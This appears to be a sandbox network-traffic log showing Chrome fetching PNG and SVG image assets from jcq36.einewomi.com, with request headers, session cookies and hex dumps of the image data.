2024-04-24 21:08:05 UTC	1369	IN	Data Raw: 32 33 2e 39 37 36 32 20 30 5a 4d 31 32 2e 32 33 35 34 20 33 38 2e 34 36 39 34 43 31 34 2e 33 30 38 37 20 33 33 2e 39 39 38 37 20 31 38 2e 38 33 36 38 20 33 30 2e 38 39 38 31 20 32 34 2e 30 38 39 31 20 33 30 2e 38 39 38 31 43 32 39 2e 32 33 39 35 20 33 30 2e 38 39 38 31 20 33 33 2e 36 39 33 36 20 33 33 2e 38 37 39 37 20 33 35 2e 38 31 39 34 20 33 38 2e 32 31 30 39 43 33 33 2e 39 33 30 32 20 34 30 2e 36 31 31 39 20 33 31 2e 34 33 39 39 20 34 32 2e 38 39 35 34 20 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 43 32 35 2e 35 30 34 37 20 34 36 2e 35 33 37 34 20 32 32 2e 32 30 33 37 20 34 36 2e 35 32 39 33 20 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 39 2e 36 Data Ascii: 23.9762 0ZM12.2354 38.4694C14.3087 33.9987 18.8368 30.8981 24.0891 30.8981C29.2395 30.8981 33.6936 33.8797 35.8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6
2024-04-24 21:08:05 UTC	1369	IN	Data Raw: 30 39 43 33 33 2e 39 33 30 32 20 34 30 2e 36 31 31 39 20 33 31 2e 34 33 39 39 20 34 32 2e 38 39 35 34 20 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 43 32 35 2e 35 30 34 37 20 34 36 2e 35 33 37 34 20 32 32 2e 32 30 33 37 20 34 36 2e 35 32 39 33 20 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 39 2e 36 30 30 39 20 34 34 2e 39 30 32 4c 31 39 2e 35 39 38 38 20 34 34 2e 39 30 30 37 43 31 36 2e 34 38 37 36 20 34 32 2e 39 36 37 32 20 31 34 2e 30 38 34 32 20 34 30 2e 37 37 33 38 20 31 32 2e 32 33 35 34 20 33 38 2e 34 36 39 34 5a 4d 33 31 2e 37 33 35 32 20 31 32 2e 31 36 34 34 43 32 36 2e 35 37 33 36 20 31 31 2e 36 39 39 35 20 32 31 2e 33 38 32 37 20 31 31 2e 36 Data Ascii: 09C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.902L19.5988 44.9007C16.4876 42.9672 14.0842 40.7738 12.2354 38.4694ZM31.7352 12.1644C26.5736 11.6995 21.3827 11.6
2024-04-24 21:08:05 UTC	1369	IN	Data Raw: 34 38 32 34 4c 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 5a 4d 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 36 2e 30 38 34 20 34 31 2e 34 38 33 36 4c 32 36 2e 30 37 36 37 20 34 31 2e 34 38 38 31 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 5a 4d 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 4c 32 36 2e 30 37 34 36 20 34 31 2e 34 38 39 34 4c 32 36 2e 30 37 33 34 20 34 31 2e 34 39 30 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 5a 4d 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 37 2e 34 38 31 20 34 38 2e 32 39 34 31 4c 31 37 2e 34 38 32 36 20 34 38 2e 32 39 35 4c 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 5a 4d 31 39 2e 36 30 30 39 20 34 34 2e 39 30 32 4c 32 31 2e 37 32 33 20 34 31 2e 35 31 31 33 4c 32 31 2e 37 31 32 39 20 34 31 2e Data Ascii: 4824L28.1744 44.8939ZM28.1724 44.8952L26.084 41.4836L26.0767 41.4881L28.1724 44.8952ZM28.1703 44.8965L26.0746 41.4894L26.0734 41.4902L28.1703 44.8965ZM19.6031 44.9034L17.481 48.2941L17.4826 48.295L19.6031 44.9034ZM19.6009 44.902L21.723 41.5113L21.7129 41.
2024-04-24 21:08:05 UTC	1369	IN	Data Raw: 34 34 2e 37 34 30 38 20 34 31 2e 36 34 33 20 34 37 2e 33 31 32 35 20 32 39 2e 31 34 30 37 20 34 37 2e 33 31 32 35 20 32 31 2e 31 32 38 37 48 33 39 2e 33 31 32 35 5a 4d 33 39 2e 33 31 32 34 20 32 31 2e 30 39 36 43 33 39 2e 33 31 32 35 20 32 31 2e 31 30 36 38 20 33 39 2e 33 31 32 35 20 32 31 2e 31 31 37 38 20 33 39 2e 33 31 32 35 20 32 31 2e 31 32 38 37 48 34 37 2e 33 31 32 35 43 34 37 2e 33 31 32 35 20 32 31 2e 30 39 38 32 20 34 37 2e 33 31 32 34 20 32 31 2e 30 36 37 36 20 34 37 2e 33 31 32 32 20 32 31 2e 30 33 37 4c 33 39 2e 33 31 32 34 20 32 31 2e 30 39 36 5a 4d 33 39 2e 33 31 32 35 20 32 30 2e 39 34 31 32 43 33 39 2e 33 31 32 35 20 32 30 2e 39 37 38 20 33 39 2e 33 31 32 34 20 32 31 2e 30 31 34 39 20 33 39 2e 33 31 32 33 20 32 31 2e 30 35 31 39 4c 34 37 Data Ascii: 44.7408 41.643 47.3125 29.1407 47.3125 21.1287H39.3125ZM39.3124 21.096C39.3125 21.1068 39.3125 21.1178 39.3125 21.1287H47.3125C47.3125 21.0982 47.3124 21.0676 47.3122 21.037L39.3124 21.096ZM39.3125 20.9412C39.3125 20.978 39.3124 21.0149 39.3123 21.0519L47
2024-04-24 21:08:05 UTC	1216	IN	Data Raw: 36 38 20 34 38 2e 32 39 37 37 4c 31 37 2e 34 38 39 20 34 38 2e 32 39 39 4c 32 31 2e 37 31 32 39 20 34 31 2e 35 30 35 4c 32 31 2e 37 31 30 37 20 34 31 2e 35 30 33 37 4c 31 37 2e 34 38 36 38 20 34 38 2e 32 39 37 37 5a 4d 39 2e 31 31 35 33 39 20 34 30 2e 39 37 32 36 43 31 31 2e 32 35 34 31 20 34 33 2e 36 33 38 33 20 31 34 2e 30 30 31 31 20 34 36 2e 31 33 31 34 20 31 37 2e 34 38 37 34 20 34 38 2e 32 39 38 4c 32 31 2e 37 31 30 32 20 34 31 2e 35 30 33 33 43 31 38 2e 39 37 34 32 20 33 39 2e 38 30 33 20 31 36 2e 39 31 34 33 20 33 37 2e 39 30 39 33 20 31 35 2e 33 35 35 33 20 33 35 2e 39 36 36 33 4c 39 2e 31 31 35 33 39 20 34 30 2e 39 37 32 36 5a 4d 31 36 2e 35 37 32 38 20 31 36 2e 31 33 36 31 43 32 31 2e 34 39 38 34 20 31 35 2e 37 30 30 36 20 32 36 2e 34 35 31 33 Data Ascii: 68 48.2977L17.489 48.299L21.7129 41.505L21.7107 41.5037L17.4868 48.2977ZM9.11539 40.9726C11.2541 43.6383 14.0011 46.1314 17.4874 48.298L21.7102 41.5033C18.9742 39.803 16.9143 37.9093 15.3553 35.9663L9.11539 40.9726ZM16.5728 16.1361C21.4984 15.7006 26.4513
2024-04-24 21:08:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49777	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:04 UTC	1112	OUT	GET /wxvmmr0dvvMRPJAsjsIlZCtz2ev3opgvXt8OR3buSD34130 HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
2024-04-24 21:08:05 UTC	645	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:08:05 GMT Content-Type: image/png Content-Length: 231 Connection: close Content-Disposition: inline; filename="wxvmmr0dvvMRPJAsjsIlZCtz2ev3opgvXt8OR3buSD34130" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vjLw4By1wBT8%2FwigvEI%2FGC1k1LQA1M2uasRLepcyTwZ3mW5xXo3gCYDK8%2BILMEmwdhd8AOLuk1mI2reN0iuQ%2Bfejr5FKOqRmytI%2FqkawBYpaRmudkxKLZ9l%2FcvTdXw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8799110c982edb8a-LAX
2024-04-24 21:08:05 UTC	231	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 18 00 00 00 18 08 06 00 00 00 e0 77 3d f8 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 a1 49 44 41 54 48 4b ed 93 b1 0d 02 31 10 04 e7 5a a0 0c aa b8 12 a8 80 9c 2e 20 23 24 23 a5 94 2d e1 cb 20 24 24 33 b2 f4 48 1f 80 cf bc 71 80 78 a7 3e ed 78 c7 b6 d1 79 59 e7 7c 16 40 68 f8 8f 14 b9 fb 05 18 24 9d 42 2f 93 81 2a 45 63 f8 0a d8 4a ba 7d 15 d0 12 9e 0f 52 6c d0 1a 5e 04 8c e1 1b e0 0c dc 23 2d 92 0e af 66 de 36 70 f7 63 4a 69 67 66 b5 80 fd 47 80 3c 9c 21 c0 7a ce e5 3e 61 e1 2b 6a 85 84 80 d6 26 55 80 09 e4 da e5 a3 45 2f a8 b4 5f dd 60 2e 64 01 84 e6 7e 5f d1 03 bf ca 37 19 0c 18 34 60 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRw=sRGBIDATHK1Z. #$#- $$3Hqx>xyY\|@h$B/*EcJ}Rl^#-f6pcJigfG<!z>a+j&UE/_`.d~_74`IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49779	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:05 UTC	1125	OUT	GET /ijnd9WI2swr3KhCMK2bXk7NO7Iop5ndR6Sx7dTSErq3S0c1Qe36iT8Iyz228 HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
2024-04-24 21:08:08 UTC	651	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:08:08 GMT Content-Type: image/png Content-Length: 1400 Connection: close Content-Disposition: inline; filename="ijnd9WI2swr3KhCMK2bXk7NO7Iop5ndR6Sx7dTSErq3S0c1Qe36iT8Iyz228" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jtWZp9UYGtvzaNQ8LcAd7hjEyfpgSkrT2gFHR8AhHIRobEYaySv4GvNVpxEaRIXeEMbeDYy7EFFcLxbcOHwjefp%2FpfSh0357UMAFGfuSR4VzOABbhef%2BZRCRSuPbDA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 879911109ecd2ea9-LAX
2024-04-24 21:08:08 UTC	718	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 6c 00 00 00 18 08 06 00 00 00 1f d5 18 1a 00 00 05 3f 49 44 41 54 68 43 ed 58 bd 6e 13 41 10 be 4b d2 d0 20 87 b4 48 38 bc 00 c9 13 10 37 50 c6 ee 91 70 9e 00 e7 af 26 ae f3 83 f3 04 18 89 3e 97 92 34 98 27 c0 79 81 60 24 5a c0 d0 d0 24 31 df b7 9a 39 8d 97 3b bc 91 0c 77 91 7c d2 c9 f6 7a 76 76 76 be f9 8f 7f d6 1f 8e a2 b0 e7 db dd e4 62 e9 e5 59 f4 15 e4 f7 42 b6 b4 9f 44 71 08 dd 8c 26 5c 03 f1 0c b0 70 65 95 81 72 06 58 19 50 b8 81 0c 33 c0 6e a0 ac 7f 4d da 6a b5 aa f3 f3 f3 2b a3 d1 a8 72 7d 7d 9d 74 3a 9d a1 7f 66 61 80 6d 6d 6d 35 55 18 08 d9 df df df ef e7 29 64 77 77 77 e5 ea ea 6a 85 ff c7 71 3c 3c 3c 3c 4c f8 7d 67 67 67 0d 1f eb 97 97 97 ed ac cb fd 6b 05 4f 93 3f f4 d1 c2 dd 5e 82 67 Data Ascii: PNGIHDRl?IDAThCXnAK H87Pp&>4'y`$Z$19;w\|zvvvbYBDq&\perXP3nMj+r}}t:fammm5U)dwwwjq<<<<L}gggkO?^g
2024-04-24 21:08:08 UTC	682	IN	Data Raw: 36 af 32 42 e0 7d c3 2a 56 ce 70 f2 9b 42 c9 f2 22 0d ef ca 27 c1 9e 4d 18 01 73 f0 73 91 99 b2 fa 1e 56 25 2d d6 3f 38 79 43 14 3f 6d 1a 1f b0 85 85 05 7a 09 15 9d 26 5d 5c 98 56 4e eb 73 1e 85 d0 f2 6a 12 60 c6 ea 19 02 6b 59 ad 82 05 0c fc 36 34 d4 59 10 ec ba 28 5f 65 61 5b e1 72 8c c8 1b 31 42 f8 e7 18 d9 1d bd 17 35 18 02 e9 c5 69 a1 75 a3 1c 16 bd fd 1e e6 61 51 f4 2b 7a b6 78 7f f4 2e fa 82 b3 82 3c 2c 7e 1a e6 61 cc 1d 10 7a 2c bc 49 85 54 87 62 da 50 ea 5e 08 60 ba 07 f2 8d 79 aa 35 38 0b 18 2c 7c 51 fb b7 bc 75 dd ab 2d 84 86 5f 95 97 ff fb 6d 85 31 1c e7 91 f6 7c 6b ac 6a 18 37 05 2c 78 f8 0b c0 96 00 58 f0 f0 17 80 65 7a b0 ef 61 04 8c 8d b4 58 de 00 8a 5c 45 98 24 80 15 2d f7 03 01 73 a0 ff ad 2f b3 39 4c fb 39 2a d4 28 39 b3 0a 55 80 94 b7 Data Ascii: 62B}VpB"'MssV%-?8yC?mz&]\VNsj`kY64Y(_ea[r1B5iuaQ+zx.<,~az,ITbP^`y58,\|Qu-_m1\|kj7,xXezaX\E$-s/9L9(9U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49778	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:05 UTC	1486	OUT	GET /yzOjGmJZRfp6MuDr3pmkD5LZxwLbSd0sUt315UrsOHo8W9f7PGnesPXgKkUab175 HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
2024-04-24 21:08:06 UTC	669	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:08:06 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="yzOjGmJZRfp6MuDr3pmkD5LZxwLbSd0sUt315UrsOHo8W9f7PGnesPXgKkUab175" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y9KAXm10DSkfbXKp2Uf65HG%2BqzROUYd2S86ITozjbBVIt5kBbcbHWEUBraXxGH3s0zvyUL23x0ob7FOyhHvfs%2BOzSKeRb0hKfgjvmHoBK8Z%2FUMB6Xr55ZUzmwhgH%2FQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8799111068697e9b-LAX
2024-04-24 21:08:06 UTC	700	IN	Data Raw: 62 35 39 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 33 30 2e 34 32 32 2c 32 39 2e 30 39 32 61 33 2e 34 39 33 2c 33 2e 34 39 33 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2e 32 36 31 2c 33 2e 33 38 31 2c 33 2e 33 38 31 2c 30 2c 30 2c 31 2c 31 2e 31 33 32 2e 37 34 39 71 2e 33 36 36 2e 33 36 36 2e 38 32 37 2e 37 37 35 74 2e 39 34 39 2e 38 35 Data Ascii: b59<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.85
2024-04-24 21:08:06 UTC	1369	IN	Data Raw: 32 2c 32 32 2e 32 2c 30 2c 30 2c 31 2c 36 2e 35 38 34 2c 32 32 2e 36 39 2c 31 33 2e 34 38 35 2c 31 33 2e 34 38 35 2c 30 2c 30 2c 31 2c 36 2c 31 38 2e 38 36 36 2c 39 2e 34 35 33 2c 39 2e 34 35 33 2c 30 2c 30 2c 31 2c 36 2e 32 33 35 2c 31 36 2e 36 61 36 2e 32 2c 36 2e 32 2c 30 2c 30 2c 31 2c 2e 37 2d 31 2e 37 30 37 2c 38 2e 38 34 38 2c 38 2e 38 34 38 2c 30 2c 30 2c 31 2c 31 2e 31 34 31 2d 31 2e 34 38 39 71 2e 36 37 39 2d 2e 37 32 33 2c 31 2e 35 38 35 2d 31 2e 36 31 31 61 33 2e 33 38 31 2c 33 2e 33 38 31 2c 30 2c 30 2c 31 2c 31 2e 31 33 32 2d 2e 37 34 39 2c 33 2e 34 39 33 2c 33 2e 34 39 33 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2d 2e 32 36 31 2c 33 2e 33 2c 33 2e 33 2c 30 2c 30 2c 31 2c 31 2e 36 38 31 2e 34 37 2c 38 2e 36 34 38 2c 38 2e 36 34 38 2c 30 2c 30 2c Data Ascii: 2,22.2,0,0,1,6.584,22.69,13.485,13.485,0,0,1,6,18.866,9.453,9.453,0,0,1,6.235,16.6a6.2,6.2,0,0,1,.7-1.707,8.848,8.848,0,0,1,1.141-1.489q.679-.723,1.585-1.611a3.381,3.381,0,0,1,1.132-.749,3.493,3.493,0,0,1,1.324-.261,3.3,3.3,0,0,1,1.681.47,8.648,8.648,0,0,
2024-04-24 21:08:06 UTC	843	IN	Data Raw: 35 38 6c 2d 38 2e 33 30 39 2d 38 2e 33 30 39 61 33 2e 35 32 2c 33 2e 35 32 2c 30 2c 30 2c 31 2d 2e 37 35 38 2d 31 2e 31 32 34 2c 33 2e 33 37 35 2c 33 2e 33 37 35 2c 30 2c 30 2c 31 2d 2e 32 37 2d 31 2e 33 33 33 2c 33 2e 30 36 32 2c 33 2e 30 36 32 2c 30 2c 30 2c 31 2c 2e 32 32 36 2d 31 2e 32 31 31 2c 34 2e 33 31 33 2c 34 2e 33 31 33 2c 30 2c 30 2c 31 2c 2e 35 36 36 2d 2e 39 36 37 2c 36 2e 33 36 34 2c 36 2e 33 36 34 2c 30 2c 30 2c 31 2c 2e 37 33 32 2d 2e 37 39 33 71 2e 33 39 32 2d 2e 33 35 37 2e 37 33 32 2d 2e 36 38 38 61 34 2e 36 37 38 2c 34 2e 36 37 38 2c 30 2c 30 2c 30 2c 2e 35 36 36 2d 2e 36 35 33 2c 31 2e 31 37 35 2c 31 2e 31 37 35 2c 30 2c 30 2c 30 2c 2e 32 32 36 2d 2e 36 38 38 2c 31 2e 33 33 39 2c 31 2e 33 33 39 2c 30 2c 30 2c 30 2d 2e 32 37 39 2d 2e Data Ascii: 58l-8.309-8.309a3.52,3.52,0,0,1-.758-1.124,3.375,3.375,0,0,1-.27-1.333,3.062,3.062,0,0,1,.226-1.211,4.313,4.313,0,0,1,.566-.967,6.364,6.364,0,0,1,.732-.793q.392-.357.732-.688a4.678,4.678,0,0,0,.566-.653,1.175,1.175,0,0,0,.226-.688,1.339,1.339,0,0,0-.279-.
2024-04-24 21:08:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49780	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:05 UTC	1477	OUT	GET /rsa4mS61xGUn0buMs3WF6CuvpI65UD2BYSQqVDOb9wWKBf92Edef200 HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
